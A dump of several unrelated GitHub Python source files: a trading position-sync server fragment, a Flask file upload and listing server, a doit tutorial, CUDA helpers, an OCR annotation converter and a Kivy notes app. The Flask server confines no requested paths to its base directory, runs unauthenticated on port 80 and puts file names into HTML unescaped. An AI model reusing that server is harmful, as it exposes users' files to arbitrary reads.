strategy},\n profit = value['profit'],\n profit_diff = value['profit']-self._last_profit.get(strategy,value['profit']),\n position = value['pos'])\n self._last_profit[strategy] = value['profit']\n else:\n self._last_profit[strategy] = 0\n except Exception as e:\n self._logger.exception(\"Error while exporting to InfluxDB : {}, {}\".format(\n e, traceback.print_exc()))\n\n summarize['pos'] += value['pos']\n summarize['profit'] += value['profit']\n\n if summarize.get('base',value['base'])!=value['base'] :\n self._logger.error('base_offset error')\n summarize['base'] = value['base']\n\n self._logger.info('-'*100)\n self._logger.info(' profit position ( base target ) fromAPI diff')\n\n # 実際のポジション取得\n actual = self.check_current_pos() if self.api._auth!=None else 0\n\n # 同じずれが繰り返すとカウントアップ\n pos_diff = round(actual-summarize['pos']-summarize.get('base',0), 8)\n if self._last_pos_diff != pos_diff or abs(pos_diff)=self.minimum_order_size and self._diff_count<5:\n self._diff_count += 1\n self._last_pos_diff = pos_diff\n if len(self._database)==0 :\n self._diff_count = 0\n\n self._logger.info('{:>+17.8f} : {:>17.8f} ({:>+10.3f} ={:>17.8f}) : {:>17.8f} : {:+17.8f} {}'.format(\n summarize['profit'], summarize['pos'], summarize.get('base',0), summarize['pos'] + summarize.get('base',0), actual, pos_diff,'*'*self._diff_count))\n self._latest_summarize = summarize\n\n # 4度続けてポジションがズレていれば成売買で補正行う\n if self.api._auth!=None and self.parameters.get('adjust_position',True) and self._diff_count>=4 :\n self._limit_try_count +=1\n maxsize = self.parameters.get('adjust_max_size',100)\n\n if self._limit_try_count> self.parameters.get('try_limit_order',0) :\n if pos_diff < 0:\n self.sendorder(order_type='MARKET', side='BUY', size=min(-pos_diff,maxsize))\n else:\n self.sendorder(order_type='MARKET', side='SELL', size=min(pos_diff,maxsize))\n self._diff_count = 0\n else:\n if pos_diff < 0:\n self.sendorder(order_type='LIMIT', side='BUY', size=min(-pos_diff,maxsize), price=self.ltp-self.parameters.get('imit_order_offset',0), auto_cancel_after=20)\n else:\n self.sendorder(order_type='LIMIT', side='SELL', size=min(pos_diff,maxsize), price=self.ltp+self.parameters.get('imit_order_offset',0), auto_cancel_after=20)\n else:\n self._limit_try_count =0\n\n\n def add_stats(self):\n return {\n 'timestamp': time.time(),\n\n 'ltp': self.ltp,\n 'current_pos': self._latest_summarize.get('pos',0) ,\n 'average': self.ltp,\n\n 'realized': self._latest_summarize.get('profit',0),\n 'commission': 0,\n 'unreal': 0,\n\n 'profit': self._latest_summarize.get('profit',0),\n 'fixed_profit': self._latest_summarize.get('profit',0),\n\n 'lantency': self.server_latency,\n 'api1': self.api_remain1,\n 'api2': self.api_remain2,\n\n 'exec_vol': 0,\n 'exec_vol_day': 0,\n }\n\n def daily_reset(self):\n self._latest_summarize={'pos':self._latest_summarize.get('pos',0), 'profit':0, 'base':0}\n","repo_name":"DaikiMishima/BFSX2","sub_path":"pos_server/pos_server.py","file_name":"pos_server.py","file_ext":"py","file_size_in_byte":10059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31879049129","text":"import sys,os\nfrom flask import Flask, render_template, request, abort, send_file\nfrom werkzeug.utils import secure_filename\nfrom argparse import ArgumentParser\n\n\n#def createapp(directory):\napp = Flask(__name__)\nif os.environ['FLASK_DIR']:\n app.config['UPLOAD_FOLDER']=os.environ['FLASK_DIR']\nelse:\n app.config['UPLOAD_FOLDER']=\"./\"\napp.config['MAX_CONTENT_PATH'] = 204800 #200MB\n # return app\n\n@app.route('/up')\ndef upload():\n #return render_template('upload.html')\n return '''\n \n \n
    \n \n \n
    \n \n '''\n\n@app.route('/uper', methods = ['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n f = request.files['file']\n f.save(secure_filename(f.filename))\n return 'file uploaded successfully'\n\n@app.route('/', defaults={'req_path': ''})\n@app.route('/')\ndef list(req_path=''):\n base_dir = os.path.normpath(app.config['UPLOAD_FOLDER'])\n\n # Joining the base and the requested path\n abs_path = os.path.normpath(os.path.join(base_dir, req_path))\n #print(abs_path)\n # Return 404 if path doesn't exist\n if not os.path.exists(abs_path):\n return abort(404)\n if os.path.isfile(abs_path):\n if req_path != sys.argv[0]:\n return send_file(abs_path)\n else:\n return abort(404)\n files=[]\n folders=[]\n items = sorted(os.listdir(abs_path),key=lambda f: os.path.getctime(\"{}/{}\".format(abs_path, f)), reverse=True)\n for item in items:\n #print(os.path.join(abs_path,item))\n if os.path.isfile(os.path.join(abs_path, item)):\n files.append(item)\n # print(files)\n else: #if os.path.isdir(os.path.join(abs_path, file)):\n folders.append(item)\n # print(folders)\n\n parent = os.path.split(req_path)\n if abs_path == base_dir:\n req_path = \"\"\n elif req_path[-1:] != \"/\":\n req_path = req_path + \"/\"\n\n\n #print(files)\n #print(folders)\n output=\"\"\n for f in files:\n if f != sys.argv[0]:\n output+=\"
  • \"+f+\"
    \"\n return '''\n \n \n

    Directory Listing For %s:

    \n
    \n
      \n %s\n
    \n
    \n \n \n ''' % (req_path, output)\n\n\n@app.errorhandler(404)\ndef not_found(error):\n return \"Not Found\", 404\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('-h')\n parser.add_argument('-p')\n parser.add_argument('-d')\n args = parser.parse_args()\n if args.h:\n host=args.h\n else:\n host=\"0.0.0.0\"\n if args.p:\n port=args.p\n else:\n port=int(80)\n if args.d:\n directory=args.d\n else:\n directory=\"./\"\n app.config['UPLOAD_FOLDER']=directory\n# app=createapp(directory)\n app.run(host=host,port=port,debug = False)\n\n","repo_name":"tuaninbox/HTTPUploadServer","sub_path":"appsimple.py","file_name":"appsimple.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21960927598","text":"import pathlib\nimport pygraphviz\n\nfrom import_deps import PyModule, ModuleSet\n\n\nDOIT_CONFIG = {\n 'default_tasks': ['imports', 'dot', 'draw'],\n}\n\n\nbase_path = pathlib.Path('projects/requests/requests')\nPKG_MODULES = ModuleSet(base_path.glob('**/*.py'))\n\n\ndef get_imports(pkg_modules, module_path):\n module = pkg_modules.by_path[module_path]\n imports = pkg_modules.get_imports(module, return_fqn=True)\n return {'modules': list(sorted(imports))}\n\n\ndef task_imports():\n \"\"\"find imports from a python module\"\"\"\n for name, module in PKG_MODULES.by_name.items():\n yield {\n 'name': name,\n 'file_dep': [module.path],\n 'actions': [(get_imports, (PKG_MODULES, module.path))],\n }\n\n\ndef print_imports(modules):\n print('\\n'.join(modules))\n\ndef task_print():\n \"\"\"print on stdout list of direct module imports\"\"\"\n for name, module in PKG_MODULES.by_name.items():\n yield {\n 'name': name,\n 'actions': [print_imports],\n 'getargs': {'modules': ('imports:{}'.format(name), 'modules')},\n 'uptodate': [False],\n 'verbosity': 2,\n }\n\n\ndef module_to_dot(imports, targets):\n graph = pygraphviz.AGraph(strict=False, directed=True)\n graph.node_attr['color'] = 'lightblue2'\n graph.node_attr['style'] = 'filled'\n for source, sinks in imports.items():\n for sink in sinks:\n graph.add_edge(source, sink)\n graph.write(targets[0])\n\ndef task_dot():\n \"\"\"generate a graphviz's dot graph from module imports\"\"\"\n return {\n 'targets': ['requests.dot'],\n 'actions': [module_to_dot],\n 'getargs': {'imports': ('imports', 'modules')},\n 'clean': True,\n }\n\n\ndef task_draw():\n \"\"\"generate image from a dot file\"\"\"\n return {\n 'file_dep': ['requests.dot'],\n 'targets': ['requests.png'],\n 'actions': ['dot -Tpng %(dependencies)s -o %(targets)s'],\n 'clean': True,\n }\n","repo_name":"pydoit/doit","sub_path":"doc/tutorial/tuto_1_4.py","file_name":"tuto_1_4.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":1718,"dataset":"github-code","pt":"62"} +{"seq_id":"31124493299","text":"import numpy as np\nimport pytools\nimport pycuda.tools\nfrom pycuda import characterize\nimport pycuda.driver as cuda\nimport pycuda.compiler\nfrom pycuda import gpuarray as ga\n\nfrom chroma.cuda import srcdir\n\n# standard nvcc options\ncuda_options = ('--use_fast_math',)#, '--ptxas-options=-v']\n\n@pycuda.tools.context_dependent_memoize\ndef get_cu_module(name, options=None, include_source_directory=True):\n \"\"\"Returns a pycuda.compiler.SourceModule object from a CUDA source file\n located in the chroma cuda directory at cuda/[name].\"\"\"\n if options is None:\n options = []\n elif isinstance(options, tuple):\n options = list(options)\n else:\n raise TypeError('`options` must be a tuple.')\n\n if include_source_directory:\n options += ['-I' + srcdir]\n\n with open('%s/%s' % (srcdir, name)) as f:\n source = f.read()\n\n return pycuda.compiler.SourceModule(source, options=options,\n no_extern_c=True)\n\n@pytools.memoize\ndef get_cu_source(name):\n \"\"\"Get the source code for a CUDA source file located in the chroma cuda\n directory at src/[name].\"\"\"\n with open('%s/%s' % (srcdir, name)) as f:\n source = f.read()\n return source\n\nclass GPUFuncs(object):\n \"\"\"Simple container class for GPU functions as attributes.\"\"\"\n def __init__(self, module):\n self.module = module\n self.funcs = {}\n\n def __getattr__(self, name):\n try:\n return self.funcs[name]\n except KeyError:\n f = self.module.get_function(name)\n self.funcs[name] = f\n return f\n\ninit_rng_src = \"\"\"\n#include \n\nextern \"C\"\n{\n\n__global__ void init_rng(int nthreads, curandState *s, unsigned long long seed, unsigned long long offset)\n{\n\tint id = blockIdx.x*blockDim.x + threadIdx.x;\n\n\tif (id >= nthreads)\n\t\treturn;\n\n\tcurand_init(seed, id, offset, &s[id]);\n}\n\n} // extern \"C\"\n\"\"\"\n\ndef get_rng_states(size, seed=1):\n \"Return `size` number of CUDA random number generator states.\"\n rng_states = cuda.mem_alloc(size*characterize.sizeof('curandStateXORWOW', '#include '))\n\n module = pycuda.compiler.SourceModule(init_rng_src, no_extern_c=True)\n init_rng = module.get_function('init_rng')\n\n init_rng(np.int32(size), rng_states, np.uint64(seed), np.uint64(0), block=(64,1,1), grid=(size//64+1,1))\n\n return rng_states\n\ndef to_float3(arr):\n \"Returns an pycuda.gpuarray.vec.float3 array from an (N,3) array.\"\n if not arr.flags['C_CONTIGUOUS']:\n arr = np.asarray(arr, order='c')\n return arr.astype(np.float32).view(ga.vec.float3)[:,0]\n\ndef to_uint3(arr):\n \"Returns a pycuda.gpuarray.vec.uint3 array from an (N,3) array.\"\n if not arr.flags['C_CONTIGUOUS']:\n arr = np.asarray(arr, order='c')\n return arr.astype(np.uint32).view(ga.vec.uint3)[:,0]\n\ndef chunk_iterator(nelements, nthreads_per_block=64, max_blocks=1024):\n \"\"\"Iterator that yields tuples with the values requried to process\n a long array in multiple kernel passes on the GPU.\n\n Each yielded value is of the form,\n (first_index, elements_this_iteration, nblocks_this_iteration)\n\n Example:\n >>> list(chunk_iterator(300, 32, 2))\n [(0, 64, 2), (64, 64, 2), (128, 64, 2), (192, 64, 2), (256, 9, 1)]\n \"\"\"\n first = 0\n while first < nelements:\n elements_left = nelements - first\n blocks = int(elements_left // nthreads_per_block)\n if elements_left % nthreads_per_block != 0:\n blocks += 1 # Round up only if needed\n blocks = min(max_blocks, blocks)\n elements_this_round = min(elements_left, blocks * nthreads_per_block)\n\n yield (first, elements_this_round, blocks)\n first += elements_this_round\n\ndef create_cuda_context(device_id=None):\n \"\"\"Initialize and return a CUDA context on the specified device.\n If device_id is None, the default device is used.\"\"\"\n if device_id is None:\n try:\n context = pycuda.tools.make_default_context()\n except cuda.LogicError:\n # initialize cuda\n cuda.init()\n context = pycuda.tools.make_default_context()\n else:\n try:\n device = cuda.Device(device_id)\n except cuda.LogicError:\n # initialize cuda\n cuda.init()\n device = cuda.Device(device_id)\n context = device.make_context()\n\n context.set_cache_config(cuda.func_cache.PREFER_L1)\n\n return context\n\nvec_dtypes = set([ x for x in list(ga.vec.__dict__.values()) if isinstance(x,np.dtype) ])\n\ndef make_gpu_struct(size, members):\n struct = cuda.mem_alloc(size)\n\n i = 0\n for member in members:\n if isinstance(member, ga.GPUArray):\n member = member.gpudata\n\n if isinstance(member, cuda.DeviceAllocation):\n if i % 8:\n raise Exception('cannot align 64-bit pointer. '\n 'arrange struct member variables in order of '\n 'decreasing size.')\n\n cuda.memcpy_htod(int(struct)+i, np.intp(int(member)).data)\n i += 8\n elif np.isscalar(member) or (hasattr(member, 'dtype') and member.dtype in vec_dtypes and member.shape == ()):\n cuda.memcpy_htod(int(struct)+i, member.data)\n i += member.nbytes\n else:\n raise TypeError('expected a GPU device pointer or scalar type.')\n\n return struct\n\ndef format_size(size):\n if size < 1e3:\n return '%.1f%s' % (size, ' ')\n elif size < 1e6:\n return '%.1f%s' % (size/1e3, 'K')\n elif size < 1e9:\n return '%.1f%s' % (size/1e6, 'M')\n else:\n return '%.1f%s' % (size/1e9, 'G')\n\ndef format_array(name, array):\n return '%-15s %6s %6s' % \\\n (name, format_size(len(array)), format_size(array.nbytes))\n\ndef Mapped(array):\n '''Analog to pycuda.driver.InOut(), but indicates this array\n is memory mapped to the device space and should not be copied.\n\n To simplify coding, Mapped() will pass anything with a gpudata\n member, like a gpuarray, through unchanged.\n '''\n if hasattr(array, 'gpudata'):\n return array\n else:\n return np.intp(array.base.get_device_pointer())\n\ndef mapped_alloc(pagelocked_alloc_func, shape, dtype, write_combined):\n '''Returns a pagelocked host array mapped into the CUDA device\n address space, with a gpudata field set so it just works with CUDA \n functions.'''\n flags = cuda.host_alloc_flags.DEVICEMAP\n if write_combined:\n flags |= cuda.host_alloc_flags.WRITECOMBINED\n array = pagelocked_alloc_func(shape=shape, dtype=dtype, mem_flags=flags)\n return array\n\ndef mapped_empty(shape, dtype, write_combined=False):\n '''See mapped_alloc()'''\n return mapped_alloc(cuda.pagelocked_empty, shape, dtype, write_combined)\n\ndef mapped_empty_like(other, write_combined=False):\n '''See mapped_alloc()'''\n return mapped_alloc(cuda.pagelocked_empty, other.shape, other.dtype,\n write_combined)\n\ndef mapped_zeros(shape, dtype, write_combined=False):\n '''See mapped_alloc()'''\n return mapped_alloc(cuda.pagelocked_zeros, shape, dtype, write_combined)\n\ndef mapped_zeros_like(other, write_combined=False):\n '''See mapped_alloc()'''\n return mapped_alloc(cuda.pagelocked_zeros, other.shape, other.dtype,\n write_combined)\n","repo_name":"BenLand100/chroma","sub_path":"chroma/gpu/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":7370,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"29301079563","text":"import json\nimport os\n\nimport tqdm\n\n\nclass SYNTEXT150K_Converter(object):\n \"\"\"\n Format annotation to standard form for SYNTEXT150K dataset. The original annotation file is a COCO-format JSON\n annotation file.\n When loaded with json library, it is a dictionary data with following keys:\n dict_keys(['licenses', 'info', 'images', 'annotations', 'categories'])\n An example of data['images'] (a list of dictionaries):\n {'width': 400, 'date_captured': '', 'license': 0, 'flickr_url': '', 'file_name': '0000000.jpg', 'id': 60001,\n 'coco_url': '', 'height': 600}\n An example of data['annotations'] (a list of dictionaries):\n {'image_id': 60001, 'bbox': [218.0, 406.0, 138.0, 47.0], 'area': 6486.0, 'rec': [95, ..., 96], 'category_id': 1,\n 'iscrowd': 0, 'id': 1, 'bezier_pts': [219.0, ..., 218.0, 452.0]}\n 'bbox' is defined by [x_min, y_min, width, height] in coco format.\n\n self._format_det_label transforms the annotations into a single det label file with a format like:\n 0000000.jpg\t[{\"transcription\": \"the\", \"points\":[[153, 347], ..., [177, 357]], 'beizer':[123,...,567]}]\n \"\"\"\n\n def __init__(self, path_mode=\"relative\", **kwargs):\n self.path_mode = path_mode\n self.CTLABELS = [\n \" \",\n \"!\",\n '\"',\n \"#\",\n \"$\",\n \"%\",\n \"&\",\n \"'\",\n \"(\",\n \")\",\n \"*\",\n \"+\",\n \",\",\n \"-\",\n \".\",\n \"/\",\n \"0\",\n \"1\",\n \"2\",\n \"3\",\n \"4\",\n \"5\",\n \"6\",\n \"7\",\n \"8\",\n \"9\",\n \":\",\n \";\",\n \"<\",\n \"=\",\n \">\",\n \"?\",\n \"@\",\n \"A\",\n \"B\",\n \"C\",\n \"D\",\n \"E\",\n \"F\",\n \"G\",\n \"H\",\n \"I\",\n \"J\",\n \"K\",\n \"L\",\n \"M\",\n \"N\",\n \"O\",\n \"P\",\n \"Q\",\n \"R\",\n \"S\",\n \"T\",\n \"U\",\n \"V\",\n \"W\",\n \"X\",\n \"Y\",\n \"Z\",\n \"[\",\n \"\\\\\",\n \"]\",\n \"^\",\n \"_\",\n \"`\",\n \"a\",\n \"b\",\n \"c\",\n \"d\",\n \"e\",\n \"f\",\n \"g\",\n \"h\",\n \"i\",\n \"j\",\n \"k\",\n \"l\",\n \"m\",\n \"n\",\n \"o\",\n \"p\",\n \"q\",\n \"r\",\n \"s\",\n \"t\",\n \"u\",\n \"v\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n \"{\",\n \"|\",\n \"}\",\n \"~\",\n ]\n self.vocabulary_size = len(self.CTLABELS) + 1\n\n def convert(self, task=\"det\", image_dir=None, label_path=None, output_path=None):\n self.label_path = label_path\n assert os.path.exists(label_path), f\"{label_path} no exist!\"\n\n if task == \"det\":\n self._format_det_label(image_dir, self.label_path, output_path)\n if task == \"rec\":\n raise ValueError(\"SynText dataset has no cropped word images and recognition labels.\")\n\n def _decode_rec_ids_to_string(self, rec):\n transcription = \"\"\n for index in rec:\n if index == self.vocabulary_size - 1:\n transcription += \"口\"\n elif index < self.vocabulary_size - 1:\n transcription += self.CTLABELS[index]\n return transcription\n\n def _format_det_label(self, image_dir, label_path, output_path):\n with open(output_path, \"w\") as out_file:\n coco_json_data = json.load(open(label_path, \"r\"))\n annotations = coco_json_data[\"annotations\"]\n images_labels = {}\n for annot in tqdm.tqdm(annotations, total=len(annotations)):\n image_id = annot[\"image_id\"]\n img_path = os.path.join(\n image_dir, \"{:07d}\".format(image_id) + \".jpg\"\n ) # sometimes {:07d} works, sometimes {:08d} works\n if not os.path.exists(img_path):\n img_path = os.path.join(image_dir, \"{:08d}\".format(image_id) + \".jpg\")\n assert os.path.exists(img_path), f\"{img_path} not exist! Please check the input image_dir {image_dir}\"\n if self.path_mode == \"relative\":\n img_path = os.path.basename(img_path)\n if img_path not in images_labels:\n images_labels[img_path] = []\n\n bbox = annot[\"bbox\"] # [x_min, y_min, width, height]\n bbox = [\n [bbox[0], bbox[1]],\n [bbox[0] + bbox[2], bbox[1]],\n [bbox[0] + bbox[2], bbox[1] + bbox[3]],\n [bbox[0], bbox[1] + bbox[3]],\n ]\n bbox = [[int(x[0]), int(x[1])] for x in bbox]\n bezier = annot[\"bezier_pts\"]\n transcription = self._decode_rec_ids_to_string(\n annot[\"rec\"]\n ) # needs to translate from character ids to characters.\n images_labels[img_path].append({\"transcription\": transcription, \"points\": bbox, \"bezier\": bezier})\n for img_path in images_labels:\n annotations = []\n for annot_instance in images_labels[img_path]:\n annotations.append(annot_instance)\n out_file.write(img_path + \"\\t\" + json.dumps(annotations, ensure_ascii=False) + \"\\n\")\n","repo_name":"mindspore-lab/mindocr","sub_path":"tools/dataset_converters/syntext150k.py","file_name":"syntext150k.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"62"} +{"seq_id":"8706310281","text":"from kivy.app import App\nfrom kivy.lang import Builder\nfrom kivy.uix.screenmanager import ScreenManager, Screen\nfrom kivy.uix.label import Label\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.button import Button\nfrom kivy.properties import ObjectProperty, NumericProperty, StringProperty\nfrom kivy.uix.checkbox import CheckBox\nfrom kivy.uix.progressbar import ProgressBar\nfrom datetime import datetime, timedelta\nfrom kivy.core.image import Image\nfrom kivy.graphics import Color, Rectangle\n\n\n\n# Here is where I create the multiple canvas windows that switch when the buttons are pressed. I also design and create few objects in here.\nw = Builder.load_string(\"\"\"\n#this is the main screen when the user starts the app\n:\n #this is the with the image design\n canvas:\n Rectangle:\n source: 'images/ups.jpg'\n pos: self.pos\n size: self.size\n #the button that makes the transition to the new ideas screen\n Button:\n on_press:\n root.manager.transition.direction = \"left\"\n root.manager.transition.duration = 1\n root.manager.current = \"new_ideas_screen\"\n center_x: root.width * 0.2\n center_y: root.height * 0.45\n size_hint: .2,.1\n text: \"New ideas\"\n Image:\n source: 'images/logo.png'\n size: 30, 30\n center_x: root.width * 0.21\n center_y: root.height * 0.7\n\n Button:\n center_x: root.width * 0.2\n center_y: root.height * 0.25\n size_hint: .2,.1\n text: \"Learning Notes\"\n on_press:\n root.manager.transition.direction = \"left\"\n root.manager.transition.duration = 1\n root.manager.current = \"learning_notes_screen\"\n\n Button:\n center_x: root.width * 0.2\n center_y: root.height * 0.65\n size_hint: .2,.1\n text: \"Reminders\"\n on_press:\n root.manager.transition.direction = \"left\"\n root.manager.transition.duration = 1\n root.manager.current = \"reminders_screen\"\n\n Button:\n center_x: root.width * 0.7\n center_y: root.height * 0.45\n size_hint: .2,.1\n text: \"Goals\"\n on_press:\n root.manager.transition.direction = \"left\"\n root.manager.transition.duration = 1\n root.manager.current = \"goals_screen\"\n\n\n Button:\n center_x: root.width * 0.7\n center_y: root.height * 0.25\n size_hint: .2,.1\n text: \"Other notes\"\n\n on_press:\n root.manager.transition.direction = \"left\"\n root.manager.transition.duration = 1\n root.manager.current = \"other_notes_screen\"\n\n\n Button:\n center_x: root.width * 0.7\n center_y: root.height * 0.65\n size_hint: .2,.1\n text: \"Simple Calculator\"\n on_press:\n root.manager.transition.direction = \"left\"\n root.manager.transition.duration = 1\n root.manager.current = \"calculator_screen\"\n\n\n:\n\n Button:\n center_x: root.width * 1 / 14\n pos: 500,500\n size_hint: .1,.1\n text: \"Back\"\n on_press: root.manager.current = 'main_screen'\n\n\n:\n Button:\n center_x: root.width * 1 / 14\n pos: 500,500\n size_hint: .1,.1\n text: \"Back\"\n on_press: root.manager.current = 'main_screen'\n:\n Button:\n center_x: root.width * 1 / 14\n pos: 500,500\n size_hint: .1,.1\n text: \"Back\"\n on_press: root.manager.current = 'main_screen'\n Label:\n center_x :root.width *0.73\n center_y: root.height * 0.75\n text: \"Due in? (Days)\"\n size_hint : 0.1,0.1\n\n Label:\n center_x :root.width *0.87\n center_y: root.height * 0.75\n text: \"Due date:\"\n size_hint : 0.1,0.1\n\n:\n Button:\n center_x: root.width * 1 / 14\n pos: 500,500\n size_hint: .1,.1\n text: \"Back\"\n on_press: root.manager.current = 'main_screen'\n\n Label:\n center_x :root.width *0.86\n center_y: root.height * 0.75\n text: \"Achieved?\"\n size_hint : 0.1,0.1\n\n:\n\n Button:\n center_x: root.width * 1 / 14\n pos: 500,500\n size_hint: .1,.1\n text: \"Back\"\n on_press: root.manager.current = 'main_screen'\n\n\n:\n number_one_input: number_one_input\n number_one: number_one_input.text\n number_two_input: number_two_input\n number_two: number_two_input.text\n sign: sign_input\n Button:\n center_x: root.width * 1 / 14\n pos: 500,500\n size_hint: .1,.1\n text: \"Back\"\n on_press: root.manager.current = 'main_screen'\n\n Button:\n text: \"+\"\n size_hint:.1,.1\n center_x: root.width * 0.4\n id: sign_input\n center_y: root.height * 0.65\n on_press: root.adding(number_one_input.text,number_two_input.text)\n Button:\n id: subtraction\n text: \"-\"\n size_hint:.1,.1\n center_x: root.width * 0.6\n center_y: root.height * 0.65\n on_press: root.subtracting(number_one_input.text,number_two_input.text)\n\n\n Button:\n id: multiplication\n text: \"*\"\n size_hint:.1,.1\n center_x: root.width * 0.4\n center_y: root.height * 0.5\n on_press: root.multiplication(number_one_input.text,number_two_input.text)\n\n\n Button:\n id: division\n text: \"/\"\n size_hint:.1,.1\n center_x: root.width * 0.6\n center_y: root.height * 0.5\n on_press: root.division(number_one_input.text,number_two_input.text)\n\n Button:\n id: power\n text: \"^\"\n size_hint:.1,.1\n center_x: root.width * 0.4\n center_y: root.height * 0.35\n on_press: root.power(number_one_input.text,number_two_input.text)\n\n Button:\n id: powerInverse\n text: \"x√y\"\n size_hint:.1,.1\n center_x: root.width * 0.6\n center_y: root.height * 0.35\n on_press: root.powerInverse(number_one_input.text,number_two_input.text)\n\n Label:\n id: number_one\n text: \"Number 1:\"\n center_x: root.width * 0.2\n center_y: root.height * 0.6\n size_hint : 0.1,0.1\n\n TextInput:\n id: number_one_input\n center_x: root.width * 0.2\n center_y: root.height * 0.5\n size_hint : 0.1,0.1\n\n Label:\n id: number_two\n text: \"Number 2:\"\n center_x: root.width * 0.8\n center_y: root.height * 0.6\n size_hint : 0.1,0.1\n\n TextInput:\n id: number_two_input\n center_x: root.width * 0.8\n center_y: root.height * 0.5\n size_hint : 0.1,0.1\n\n Label:\n id: result\n text: \"Result:\"\n size_hint:.1,.1\n center_x: root.width * 0.5\n center_y: root.height * 0.2\n\n Label:\n id: math\n text: number_one_input.text\n size_hint:.1,.2\n center_x: root.width * 0.4\n center_y: root.height * 0.75\n\n Label:\n id: math\n text: number_two_input.text\n size_hint:.1,.2\n center_x: root.width * 0.6\n center_y: root.height * 0.75\n\"\"\")\n\n\n# Declaring the main screen\nclass Main_Screen(Screen):\n def __init__(self, **args):\n Screen.__init__(self, **args)\n\n# Declaring the new ideas screen\nclass New_Ideas_Screen(Screen):\n\n def edit_one(self,element):\n element.size_hint=(0.7,0.15)\n element.pos_hint={\"center_x\":0.4,\"center_y\": 0.7}\n\n def edit_two(self,element):\n element.size_hint=(0.7,0.15)\n element.pos_hint={\"center_x\":0.4,\"center_y\": 0.5}\n\n def edit_three(self,element):\n element.size_hint=(0.7,0.15)\n element.pos_hint={\"center_x\":0.4,\"center_y\": 0.3}\n\n def edit_four(self,element):\n element.size_hint=(0.7,0.15)\n element.pos_hint={\"center_x\":0.4,\"center_y\": 0.1}\n\n def save_idea(self,idea,element,label,fileName):\n element.size_hint=(0.001,0.001)\n element.pos_hint={\"center_x\":1,\"center_y\": 1}\n fob = open(fileName,'w')\n fob.write(idea)\n fob.close()\n label.text = self.open_idea(fileName)\n\n #method that reads the ideas from the idea files\n def open_idea(self,ideaFile):\n idea = \"\"\n fob = open(ideaFile,'r')\n for line in fob.readlines():\n idea += line\n return idea\n\n #main method of the new ideas screen\n def __init__(self, **args):\n Screen.__init__(self, **args)\n\n #get the ideas from the files\n idea_one = self.open_idea('text_files/idea_one.txt')\n idea_two = self.open_idea('text_files/idea_two.txt')\n idea_three = self.open_idea('text_files/idea_three.txt')\n idea_four = self.open_idea('text_files/idea_four.txt')\n\n#labels that show the ideas\n self.textLabel = Label(text=\"New Ideas\", color=(1,0,0,1), font_size=(45),size_hint=(0.1,0.1), pos_hint={\"center_x\":0.5, \"center_y\":0.95})\n self.label_one = Label(text=str(idea_one), text_size = (self.width*5.5,None), color=(1,0,0,1), font_size=(12),size_hint=(0.,0.7), pos_hint={\"center_x\":0.4, \"center_y\":0.7})\n self.label_two = Label(text=str(idea_two), text_size = (self.width*5.5,None), color=(0,1,0,1), font_size=(12),size_hint=(0.8,0.7), pos_hint={\"center_x\":0.4, \"center_y\":0.5})\n self.label_three = Label(text=str(idea_three), text_size = (self.width*5.5,None), color=(1,0,1,1), font_size=(12),size_hint=(0.8,0.7), pos_hint={\"center_x\":0.4, \"center_y\":0.3})\n self.label_four = Label(text=str(idea_four), text_size = (self.width*5.5,None), color=(1,1,0,1), font_size=(12),size_hint=(0.9,0.7), pos_hint={\"center_x\":0.4, \"center_y\":0.1})\n\n\n#textboxs\n self.text_input_one= TextInput(text=idea_one,pos_hint={\"center_x\":0.4,\"center_y\": 0.7},size_hint=(0.7,0.15))\n self.text_input_two= TextInput(text=idea_two,pos_hint={\"center_x\":0.4,\"center_y\": 0.5},size_hint=(0.7,0.15))\n self.text_input_three= TextInput(text=idea_three,pos_hint={\"center_x\":0.4,\"center_y\": 0.3},size_hint=(0.7,0.15))\n self.text_input_four= TextInput(text=idea_four,pos_hint={\"center_x\":0.4,\"center_y\": 0.1},size_hint=(0.7,0.15))\n#buttons\n self.save_one_button = Button(pos_hint={\"center_x\":0.92,\"center_y\": 0.7},size_hint=(0.1,0.1), text= \"Save\", on_press=lambda x: self.save_idea(self.text_input_one.text,self.text_input_one,self.label_one,'text_files/idea_one.txt'))\n self.edit_one_button = Button(pos_hint={\"center_x\":0.82,\"center_y\": 0.7},size_hint=(0.1,0.1), text= \"Edit\", on_press=lambda x: self.edit_one(self.text_input_one))\n self.save_two_button = Button(pos_hint={\"center_x\":0.92,\"center_y\": 0.5},size_hint=(0.1,0.1), text= \"Save\", on_press=lambda x: self.save_idea(self.text_input_two.text,self.text_input_two,self.label_two,'text_files/idea_two.txt'))\n self.edit_two_button = Button(pos_hint={\"center_x\":0.82,\"center_y\": 0.5},size_hint=(0.1,0.1), text= \"Edit\", on_press=lambda x: self.edit_two(self.text_input_two))\n self.save_three_button = Button(pos_hint={\"center_x\":0.92,\"center_y\": 0.3},size_hint=(0.1,0.1), text= \"Save\", on_press=lambda x: self.save_idea(self.text_input_three.text,self.text_input_three,self.label_three,'text_files/idea_three.txt'))\n self.edit_three_button = Button(pos_hint={\"center_x\":0.82,\"center_y\": 0.3},size_hint=(0.1,0.1), text= \"Edit\", on_press=lambda x: self.edit_three(self.text_input_three))\n self.save_four_button = Button(pos_hint={\"center_x\":0.92,\"center_y\": 0.1},size_hint=(0.1,0.1), text= \"Save\", on_press=lambda x: self.save_idea(self.text_input_four.text,self.text_input_four,self.label_four,'text_files/idea_four.txt'))\n self.edit_four_button = Button(pos_hint={\"center_x\":0.82,\"center_y\": 0.1},size_hint=(0.1,0.1), text= \"Edit\", on_press=lambda x: self.edit_four(self.text_input_four))\n#adding the labels\n self.add_widget(self.textLabel)\n self.add_widget(self.label_one)\n self.add_widget(self.label_two)\n self.add_widget(self.label_three)\n self.add_widget(self.label_four)\n#adding the textboxes and the buttons\n self.add_widget(self.text_input_one)\n self.add_widget(self.save_one_button)\n 